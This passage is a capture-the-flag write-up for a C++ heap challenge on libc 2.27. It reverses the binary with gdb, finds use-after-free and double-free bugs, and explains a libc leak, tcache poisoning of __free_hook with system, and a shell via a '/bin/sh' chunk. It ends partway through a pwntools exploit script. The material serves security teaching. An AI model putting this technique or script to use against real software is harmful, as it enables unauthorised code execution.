2. Remove
3. View
4. Exit
Choice:
```

So we can see that we are dealing with a `64` bit binary, with all of the standard binary mitigations. We can also see that the libc version we are dealing with is `libc-2.27` (corresponds to Ubuntu `18.04`). When we run the binary, we can see that we are prompted with a menu to add chunks, remove chunks, view chunks, and exit.

Reversing

When we start reversing this program, we see that it was written in C++. As such it is a bit of a pain to reverse, so a lot of the reversing was done in gdb (and I didn't fully reverse out everything). First off we see that it prompts us with for our menu option with the promptMenu function in the:

```
      menuOption = promptMenu();
      menuOptionCpy1 = (int)menuOption;
      minus2 = menuOptionCpy1 + -2;
      removeCheck = minus2 == 0;
      if (!removeCheck) break;
```

Time to go through and reverse the rest of the functions.

Add Option

Looking through the code for the Add option, we see that it prompts us for values for name and buf:

```
operator<<<std--char_traits<char>>((basic_ostream *)cout,"name: ");
operator>><char,std--char_traits<char>,std--allocator<char>>
          ((basic_istream *)cin,(basic_string *)&local_f8);
operator<<<std--char_traits<char>>((basic_ostream *)cout,"buf: ");
```

After that it creates strings for the corresponding values which are stored in the heap. When we look at the data structure for the strings, we can see that it is a pointer to the name accompanied with the length of the string (in this case the name is `sasori` and buf is `deidara`):

```
gef➤  r
Starting program: /Hackery/pod/modules/tcache/plaid19_cpp/cpp
1. Add
2. Remove
3. View
4. Exit
Choice: 1
name: sasori
buf: deidara
Done!
1. Add
2. Remove
3. View
4. Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff782ea00  →  0x00000000fbad2288
$rcx   : 0x00007ffff7553081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x400
$rsp   : 0x00007fffffffdcb8  →  0x00007ffff74d0148  →  <_IO_file_underflow+296>
test rax, rax
$rbp   : 0xd68
$rsi   : 0x000055555576a280  →  0x0a61726164696564 ("deidara"?)
$rdi   : 0x0
$rip   : 0x00007ffff7553081  →  0x5777fffff0003d48 ("H="?)
$r8    : 0x00007ffff78308c0  →  0x0000000000000000
$r9    : 0x00007ffff7fd8080  →  0x00007ffff7fd8080  →  [loop detected]
$r10   : 0xa
$r11   : 0x246
$r12   : 0x00007ffff782a760  →  0x0000000000000000
$r13   : 0x00007ffff782b2a0  →  0x0000000000000000
$r14   : 0x00007ffff782b2a0  →  0x0000000000000000
$r15   : 0x00007fffffffdde0  →  0x000069726f736173 ("sasori"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdcb8│+0x0000: 0x00007ffff74d0148  →  <_IO_file_underflow+296> test
rax, rax     ← $rsp
0x00007fffffffdcc0│+0x0008: 0x00007ffff782ea00  →  0x00000000fbad2288
0x00007fffffffdcc8│+0x0010: 0x00007ffff782b2a0  →  0x0000000000000000
0x00007fffffffdcd0│+0x0018: 0x00007fffffffdd5b  →  0xdd30c000007fff00
0x00007fffffffdcd8│+0x0020: 0x00007ffff7dd30c0  →  0x00007ffff7dc87b0  →
0x00007ffff7b04aa0  →  <std::ctype<char>::~ctype()+0> mov rax, QWORD PTR
[rip+0x2ca0c9]        # 0x7ffff7dceb70
0x00007fffffffdce0│+0x0028: 0x00007fffffffdd94  →  0x2777c30000007fff
0x00007fffffffdce8│+0x0030: 0x00007ffff74d13f2  →  <_IO_default_uflow+50> cmp
eax, 0xffffffff
0x00007fffffffdcf0│+0x0038: 0x00007fffffffdd30  →  0x00007fffffffdd80  →
```

```
0x00007ffff7dd30c0  →  0x00007ffff7dc87b0  →  0x00007ffff7b04aa0  →
<std::ctype<char>::~ctype()+0> mov rax, QWORD PTR [rip+0x2ca0c9]       #
0x7ffff7dceb70
──────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7553075 <read+5>         add    BYTE PTR cs:[rbx+0x75c08500], cl
   0x7ffff755307c <read+12>        adc    esi, DWORD PTR [rcx]
   0x7ffff755307e <read+14>        ror    BYTE PTR [rdi], 0x5
 → 0x7ffff7553081 <read+17>        cmp    rax, 0xfffffffffffff000
   0x7ffff7553087 <read+23>        ja     0x7ffff75530e0 <__GI___libc_read+112>
   0x7ffff7553089 <read+25>        repz   ret
   0x7ffff755308b <read+27>        nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff7553090 <read+32>        push   r12
   0x7ffff7553092 <read+34>        push   rbp
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cpp", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7553081 → __GI___libc_read(fd=0x0, buf=0x55555576a280, nbytes=0x400)
[#1] 0x7ffff74d0148 → _IO_new_file_underflow(fp=0x7ffff782ea00 <_IO_2_1_stdin_>)
[#2] 0x7ffff74d13f2 → __GI__IO_default_uflow(fp=0x7ffff782ea00 <_IO_2_1_stdin_>)
[#3] 0x7ffff7b3989d → __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char>
>::underflow()()
[#4] 0x7ffff7b4763a → std::istream::sentry::sentry(std::istream&, bool)()
[#5] 0x7ffff7b478ae → std::istream::operator>>(int&)()
[#6] 0x555555555dfe → mov rcx, QWORD PTR [rsp+0x8]
[#7] 0x5555555555d2 → cmp eax, 0x2
[#8] 0x7ffff7464b97 → __libc_start_main(main=0x555555555290, argc=0x1,
argv=0x7fffffffdfa8, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdf98)
[#9] 0x5555555558ea → hlt
─────────────────────────────────────────────────────────────────────────────
0x00007ffff7553081 in __GI___libc_read (fd=0x0, buf=0x55555576a280,
nbytes=0x400) at ../sysdeps/unix/sysv/linux/read.c:27
27    ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤  search-pattern sasori
[+] Searching 'sasori' in memory
[+] In '[heap]'(0x555555758000-0x555555779000), permission=rw-
  0x55555576a6d0 - 0x55555576a6d6  →   "sasori"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdde0 - 0x7fffffffdde6  →   "sasori"
  0x7fffffffde20 - 0x7fffffffde26  →   "sasori"
  0x7fffffffde70 - 0x7fffffffde76  →   "sasori"
gef➤  search-pattern 0x55555576a6d0
[+] Searching '0x55555576a6d0' in memory
[+] In '[heap]'(0x555555758000-0x555555779000), permission=rw-
  0x55555576a6c0 - 0x55555576a6d8  →   "\xd0\xa6\x76\x55\x55\x55[...]"
gef➤  x/20g 0x55555576a6b0
0x55555576a6b0:    0x7    0x55555576a6f0
0x55555576a6c0:    0x55555576a6d0    0x6
0x55555576a6d0:    0x69726f736173    0x0
0x55555576a6e0:    0x0    0x21
0x55555576a6f0:    0x61726164696564    0x0
0x55555576a700:    0x0    0xe901
0x55555576a710:    0x0    0x0
```

```
0x55555576a720:    0x0    0x0
0x55555576a730:    0x0    0x0
0x55555576a740:    0x0    0x0
gef➤  x/s 0x55555576a6f0
0x55555576a6f0:    "deidara"
gef➤  x/s 0x55555576a6d0
0x55555576a6d0:    "sasori"
```

Also one important thing to take note of (for later) the buf string is allocated prior to the name string. In addition to that for some reason the buf value is passed to free (I found this happening at 0x1fdd). This means that if we can call free and pass an argument to it (will come in handy soon).

Remove Option

For this option it starts off by prompting us for an index with the scan_index function (this function also prints the indexes with the corresponding names). It then checks to ensure that the index provided is greater than or equal to 0:

```
LODWORD(remove_index) = scanIndex();
if ( (signed int)remove_index >= 0 )
{
```

Proceeding that is a check to ensure that the index provided does have a corresponding object for it. If it isn't corresponding to an object, then this option does nothing:

```
  index = getIndex();
  if ((-1 < index) &&
```

However what is interesting with this, is we see that the object that is freed isn't related to the index we provide. It takes the value stored in `DAT_00303268`, subtracts 0x28 (in the psuedocode it shows `-10`, but the assembly code shows us the truth) from it, then deletes it. This doesn't necissarily coincide with the index we gave it:

```
    piVar1 = DAT_00303268;
    ppvVar2 = (void **)(DAT_00303268 + -10);
    DAT_00303268 = DAT_00303268 + -0xc;
    if (*ppvVar2 != (void *)0x0) {
      operator.delete[](*ppvVar2);
    }
```

When we look in a debugger, we see that it always frees (since the strings are stored in the heap) the last added string:

```
gef➤  pie b *0x167e
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
1. Add
2. Remove
3. View
4. Exit
Choice: 1
name: sasori
buf: deidara
Done!
1. Add
2. Remove
3. View
4. Exit
Choice: 1
name: hidan
buf: kakazu
Done!
1. Add
2. Remove
3. View
4. Exit
Choice: 2
0: sasori
1: hidan
idx: 0

.    .    .
```

```
code:x86:64 ────
   0x555555555672                  mov    QWORD PTR [rip+0x201bef], rax        #
0x555555757268
   0x555555555679                  test   rdi, rdi
   0x55555555567c                  je     0x555555555683
 → 0x55555555567e                  call   0x5555555551e0 <_ZdaPv@plt>
   ↳  0x5555555551e0 <operator+0>     jmp    QWORD PTR [rip+0x201d9a]        #
0x555555756f80
      0x5555555551e6 <operator+0>     push   0x15
      0x5555555551eb <operator+0>     jmp    0x555555555080
      0x5555555551f0 <__cxa_rethrow@plt+0> jmp    QWORD PTR [rip+0x201d92]
# 0x555555756f88
      0x5555555551f6 <__cxa_rethrow@plt+6> push   0x16
      0x5555555551fb <__cxa_rethrow@plt+11> jmp    0x555555555080
```

```
arguments (guessed) ────
_ZdaPv@plt (
   $rdi = 0x000055555576a780 → 0x0000757a616b616b ("kakazu"?),
   $rsi = 0x000055555576a765 → 0x0000000000000000,
   $rdx = 0x0000000061646968,
   $rcx = 0x000000006e616469
```

```
)
```

```
threads ────
[#0] Id 1, Name: "cpp", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x55555555567e → call 0x5555555551e0 <_ZdaPv@plt>
[#1] 0x7ffff7464b97 → __libc_start_main(main=0x555555555290, argc=0x1,
argv=0x7fffffffdf28, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdf18)
[#2] 0x5555555558ea → hlt
```

```
gef➤  x/s $rdi
0x55555576a780:    "kakazu"

.    .    .

So we can see that we freed the strings associated with hidan and kakazu (please
excuse the weeb references). When we go to view a string, we can see that we can
reference the strings we freed and we see that we have what appears to be some
sort of infoleak:

gef➤  c
Continuing.

Program received signal SIGALRM, Alarm clock.
Done!
1. Add
2. Remove
3. View
4. Exit
Choice: 3
0: hidan
idx: 0
��vUUU
Done!
1. Add
2. Remove
3. View
4. Exit
Choice:
```

With this we can see that we have a use after free bug, and a double free bug.

View Option

Looking at the code in ghidra, we can see this essentially just prints the data of the chunk using `puts` :

```
      if (iVar4 == 3) {
        iVar4 = FUN_00101ab0();
        if ((-1 < iVar4) &&
           ((ulong)(long)iVar4 <
            (ulong)(((long)((long)DAT_00303268 - DAT_00303260) >> 4) *
-0x5555555555555555))) {
          puts(*(char **)(DAT_00303260 + 8 + (long)iVar4 * 0x30));
        }
      }
```

Exploitation

So for our exploitation process, we will have two parts. The first will be an infoleak, the second will be writing the address of `system` to the free hook, and freeing a chunk that points to `/bin/sh`. I would just write a oneshot gadget to the malloc hook, however all of the conditions for that gadget are not met when it is called.

Infoleak

For the infoleak, we will be leaking a libc address from the smallbin. The smallbin contains a doubly linked list (a fwd and back pointer), which links back to the main arena (which is in the libc). We will first fill up the tcache by freeing `7` different things (keep in mind, each chunk we malloc will give us two chunks to free). With how the C++ heap works, we will need to allocate a name with the chunk that is `0x408` bytes large (I found this out via trial and error). If not, the chunk will end up in the fastbin and we will get a heap infoleak instead

Here is what the chunk looks like prior to being placed in the small bin (input is `15935728`):

```
gef➤  x/4g 0x556b3a5941b0
0x556b3a5941b0: 0x0 0x21
0x556b3a5941c0: 0x3832373533393531  0x7f89a5507c00
```

Here is what the chunk looks like after being placed in the small bin:

```
gef➤  x/4g 0x556b3a5941b0
0x556b3a5941b0: 0x0 0x41
0x556b3a5941c0: 0x7f89a5507cd0  0x7f89a5507cd0
```

Using gef, we can even see it in the small bin:

```
gef➤  heap bins
──────────────────── Tcachebins for arena 0x7f89a5507c40 ────────────────────
Tcachebins[idx=0, size=0x10] count=7  ←  Chunk(addr=0x556b3a594200, size=0x20,
flags=)  ←  Chunk(addr=0x556b3a594300, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x556b3a593290, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x556b3a5942e0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x556b3a5932f0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x556b3a593bd0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x556b3a593bb0, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x556b3a593310, size=0x30,
flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x556b3a5932b0, size=0x40,
flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x556b3a593340, size=0x50,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x556b3a594270, size=0x70,
flags=)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x556b3a593390, size=0x90,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x556b3a593ae0, size=0xd0,
flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x556b3a593420, size=0x100,
flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x556b3a593520,
size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x556b3a593710,
size=0x3d0, flags=PREV_INUSE)
───────────────────── Fastbins for arena 0x7f89a5507c40 ─────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7f89a5507c40' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7f89a5507c40' ────────────────────
[+] small_bins[3]: fw=0x556b3a5941b0, bk=0x556b3a5941b0
 →   Chunk(addr=0x556b3a5941c0, size=0x40, flags=PREV_INUSE)
[+] small_bins[4]: fw=0x556b3a594210, bk=0x556b3a594210
 →   Chunk(addr=0x556b3a594220, size=0x50, flags=PREV_INUSE)
[+] Found 2 chunks in 2 small non-empty bins.
──────────────────── Large Bins for arena '*0x7f89a5507c40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

With that, we can just view that chunk using the UAF, and we will have our infoleak.

OneGadget Write

So next up we will be writing the address of a system to the hook. Starting off, I will allocate all chunks from the tcache to clear it out. This will help us pass checks in malloc later on (when I tried this without clearing out the chunk, I failed some checks and the program crashed without giving us code execution). So how the tcache works, it will store free chunks in the tcache in a linked list. The linked list will point to the next chunk which will be allocated:

```
gef➤  heap bins
──────────────────────── Tcachebins for arena 0x7f73349e5c40 ────────────────────────
Tcachebins[idx=0, size=0x10] count=5  ←  Chunk(addr=0x565454052290, size=0x20,
flags=PREV_INUSE)  ←  Chunk(addr=0x565454052380, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5654540522f0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5654540524b0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x565454052490, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x5654540522b0, size=0x40,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x565454052310, size=0x70,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x5654540523c0, size=0xd0,
flags=PREV_INUSE)
───────────────────────── Fastbins for arena 0x7f73349e5c40 ─────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7f73349e5c40' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7f73349e5c40' ────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────── Large Bins for arena '*0x7f73349e5c40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/4g 0x565454052290
0x565454052290: 0x565454052380  0x0
0x5654540522a0: 0x0 0x41
gef➤  x/4g 0x565454052380
0x565454052380: 0x5654540522f0  0x0
0x565454052390: 0x0 0x21
gef➤  x/4g 0x5654540522f0
0x5654540522f0: 0x5654540524b0  0x0
0x565454052300: 0x0 0x71
```

Here we essentially just allocated and freed `5` chunks (this is before we clear out the tcache). These all ended up in the tcache with `idx 0`. We also see here that each one contains a pointer to the next chunk. So if we can overwrite the next pointer of a tcache entry to let's say the address of the free hook, we will be able to allocate a chunk to the free hook. With that, we will be able to write to it the address of the oneshot gadget. Before we allocate more chunks for this, the tcache looks like this:

```
gef➤  heap bins
──────────────────── Tcachebins for arena 0x7fcd5c1eac40 ────────────────────
Tcachebins[idx=0, size=0x10] count=1  ←  Chunk(addr=0x55c26839d200, size=0x20,
flags=)
Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x55c26839c310, size=0x30,
flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x55c26839c2b0, size=0x40,
flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x55c26839c340, size=0x50,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x55c26839d270, size=0x70,
flags=)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x55c26839c390, size=0x90,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x55c26839cae0, size=0xd0,
flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x55c26839c420, size=0x100,
flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x55c26839c520,
size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x55c26839c710,
size=0x3d0, flags=PREV_INUSE)
───────────────────── Fastbins for arena 0x7fcd5c1eac40 ─────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7fcd5c1eac40' ───────────────────
[+] unsorted_bins[0]: fw=0x55c26839d1d0, bk=0x55c26839d1d0
 →   Chunk(addr=0x55c26839d1e0, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7fcd5c1eac40' ────────────────────
[+] small_bins[4]: fw=0x55c26839d210, bk=0x55c26839d210
 →   Chunk(addr=0x55c26839d220, size=0x50, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
──────────────────── Large Bins for arena '*0x7fcd5c1eac40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤
```

To do the write, we will execute a double free. How this will work, is that we will have two chunks allocated. Proceeding that, we will allocate two more chunks. Then we will remove the chunk at index `0`. Because of the bug where it only actually frees the last allocated chunk, it will free the second chunk twice (since it frees the last chunk allocated, but it will get rid of the chunk you specify). As a result, it will free the second chunk twice, and the tcache will look like this:

```
gef➤  heap bins
──────────────────────── Tcachebins for arena 0x7f1219689c40 ────────────────────────
Tcachebins[idx=0, size=0x10] count=7  ←  Chunk(addr=0x55aec1549290, size=0x20,
flags=PREV_INUSE)  ←  Chunk(addr=0x55aec1549290, size=0x20, flags=PREV_INUSE)  →
[loop detected]
Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x55aec1549310, size=0x30,
flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=2  ←  Chunk(addr=0x55aec154a1c0, size=0x40,
flags=PREV_INUSE)  ←  Chunk(addr=0x55aec15492b0, size=0x40, flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x55aec1549340, size=0x50,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x55aec154a270, size=0x70,
flags=)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x55aec1549390, size=0x90,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x55aec1549ae0, size=0xd0,
flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x55aec1549420, size=0x100,
flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x55aec1549520,
size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x55aec1549710,
size=0x3d0, flags=PREV_INUSE)
───────────────────────── Fastbins for arena 0x7f1219689c40 ─────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
────────────────────── Unsorted Bin for arena '*0x7f1219689c40' ──────────────────────
[+] unsorted_bins[0]: fw=0x55aec1549be0, bk=0x55aec1549be0
 →   Chunk(addr=0x55aec1549bf0, size=0x420, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────── Small Bins for arena '*0x7f1219689c40' ───────────────────────
[+] small_bins[3]: fw=0x55aec154a1b0, bk=0x55aec154a1b0
 →   Chunk(addr=0x55aec154a1c0, size=0x40, flags=PREV_INUSE)
[+] small_bins[4]: fw=0x55aec154a210, bk=0x55aec154a210
 →   Chunk(addr=0x55aec154a220, size=0x50, flags=PREV_INUSE)
[+] Found 2 chunks in 2 small non-empty bins.
─────────────────────── Large Bins for arena '*0x7f1219689c40' ───────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

We can see here that in the tcache, the entry at address `0x55aec1549290` leads to `0x55aec1549290`, which is itself. Since we freed the same chunk twice, it was entered into the tcache twice. Now we will allocate a chunk and write to it the address of the free hook. Since there are two entries for the `0x55aec1549290` chunk, one will still be in the tcache and have a next pointer to the next chunk, which we will overwrite. After the overwrite, the tcache will look like this:

```
ggef➤  heap bins
──────────────────── Tcachebins for arena 0x7f2f01102c40 ────────────────────
Tcachebins[idx=0, size=0x10] count=2  ←  Chunk(addr=0x562ae9e281c0, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7f2f011048e8, size=0x0, flags=)
Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x562ae9e27310, size=0x30, flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x562ae9e272b0, size=0x40, flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x562ae9e27340, size=0x50, flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x562ae9e28270, size=0x70, flags=)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x562ae9e27390, size=0x90, flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x562ae9e27ae0, size=0xd0, flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x562ae9e27420, size=0x100, flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x562ae9e27520, size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x562ae9e27710, size=0x3d0, flags=PREV_INUSE)
───────────────────── Fastbins for arena 0x7f2f01102c40 ─────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7f2f01102c40' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7f2f01102c40' ────────────────────
[+] small_bins[1]: fw=0x562ae9e281d0, bk=0x562ae9e281d0
 →   Chunk(addr=0x562ae9e281e0, size=0x20, flags=PREV_INUSE)
[+] small_bins[4]: fw=0x562ae9e28210, bk=0x562ae9e28210
 →   Chunk(addr=0x562ae9e28220, size=0x50, flags=PREV_INUSE)
[+] Found 2 chunks in 2 small non-empty bins.
──────────────────── Large Bins for arena '*0x7f2f01102c40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/g 0x7f2f011048e8
0x7f2f011048e8 <__free_hook>: 0x0
```

So we can see that the address of the malloc hook is in the tcache. After that we can allocate it next and write to it:

```
gef➤  heap bins
──────────────────── Tcachebins for arena 0x7f2f01102c40 ────────────────────
Tcachebins[idx=1, size=0x20] count=1  ←  Chunk(addr=0x562ae9e27310, size=0x30,
flags=PREV_INUSE)
Tcachebins[idx=2, size=0x30] count=1  ←  Chunk(addr=0x562ae9e272b0, size=0x40,
flags=PREV_INUSE)
Tcachebins[idx=3, size=0x40] count=1  ←  Chunk(addr=0x562ae9e27340, size=0x50,
flags=PREV_INUSE)
Tcachebins[idx=5, size=0x60] count=1  ←  Chunk(addr=0x562ae9e28270, size=0x70,
flags=)
Tcachebins[idx=7, size=0x80] count=1  ←  Chunk(addr=0x562ae9e27390, size=0x90,
flags=PREV_INUSE)
Tcachebins[idx=11, size=0xc0] count=1  ←  Chunk(addr=0x562ae9e27ae0, size=0xd0,
flags=PREV_INUSE)
Tcachebins[idx=14, size=0xf0] count=1  ←  Chunk(addr=0x562ae9e27420, size=0x100,
flags=PREV_INUSE)
Tcachebins[idx=29, size=0x1e0] count=1  ←  Chunk(addr=0x562ae9e27520,
size=0x1f0, flags=PREV_INUSE)
Tcachebins[idx=59, size=0x3c0] count=1  ←  Chunk(addr=0x562ae9e27710,
size=0x3d0, flags=PREV_INUSE)
───────────────────── Fastbins for arena 0x7f2f01102c40 ─────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7f2f01102c40' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7f2f01102c40' ────────────────────
[+] small_bins[1]: fw=0x562ae9e281d0, bk=0x562ae9e281d0
 →   Chunk(addr=0x562ae9e281e0, size=0x20, flags=PREV_INUSE)
[+] small_bins[4]: fw=0x562ae9e28210, bk=0x562ae9e28210
 →   Chunk(addr=0x562ae9e28220, size=0x50, flags=PREV_INUSE)
[+] Found 2 chunks in 2 small non-empty bins.
──────────────────── Large Bins for arena '*0x7f2f01102c40' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/g 0x7f2f011048e8
0x7f2f011048e8 <__free_hook>: 0x7f2f00d66440
gef➤  x/i 0x7f2f00d66440
   0x7f2f00d66440 <system>: test   rdi,rdi
```

As you can see, we were able to write over the free hook with the address of `system`. With that we will be able to get a shell by having `free` called with a chunk that points to `/bin/sh` (which happens when we add a chunk).

Exploit

Putting it all together, we get the following exploit. I ran this in Ubuntu `18.04`:

```python
from pwn import *

target = process('./cpp', env={"LD_PRELOAD":"./libc-2.27.so"})

#gdb.attach(target)
#gdb.attach(target, gdbscript = 'pie b *0x167e')
#gdb.attach(target, gdbscript = 'pie b *0x1475')

libc = ELF("./libc-2.27.so")

# Establish functions to handle I/O with target
def add(name, buff):
    print target.recvuntil("Exit\n")
    target.sendline("1")
    target.sendline(name)
    print target.recvuntil("buf:")
    target.sendline(buff)
    print target.recvuntil("Done!")

def remove(index):
    print target.recvuntil("Exit\n")
    target.sendline("2")
    print target.recvuntil("idx: ")
    target.sendline(str(index))
    print target.recvuntil("Done!")

def view(index):
    print target.recvuntil("Exit\n")
    target.sendline("3")
    print target.recvuntil("idx: ")
    target.sendline(str(index))
    leak = target.recvline()
    leak = leak.strip("\n")
    leak = u64(leak + "\x00"*(8-len(leak)))
    print target.recvuntil("Done!")
    return leak

# First we need a libc infoleak

# Initialize the chunks to fill up the tcache (remember chunks get freed when we
remove objects)
add("0"*8, "1"*8)
add("75395128" + "2"*0x400, "15935728")
add("3"*8, "4"*8)
add("5"*8, "6"*8)
add("7"*8, "8"*8)

remove(4)
remove(3)
remove(2)

# Free a chunk that will end up in the smallbin, and that will allow us to get
```

```
the UAF
remove(0)

# Use the UAF to get the libc infoleak to the main arena, calculate the base of
libc
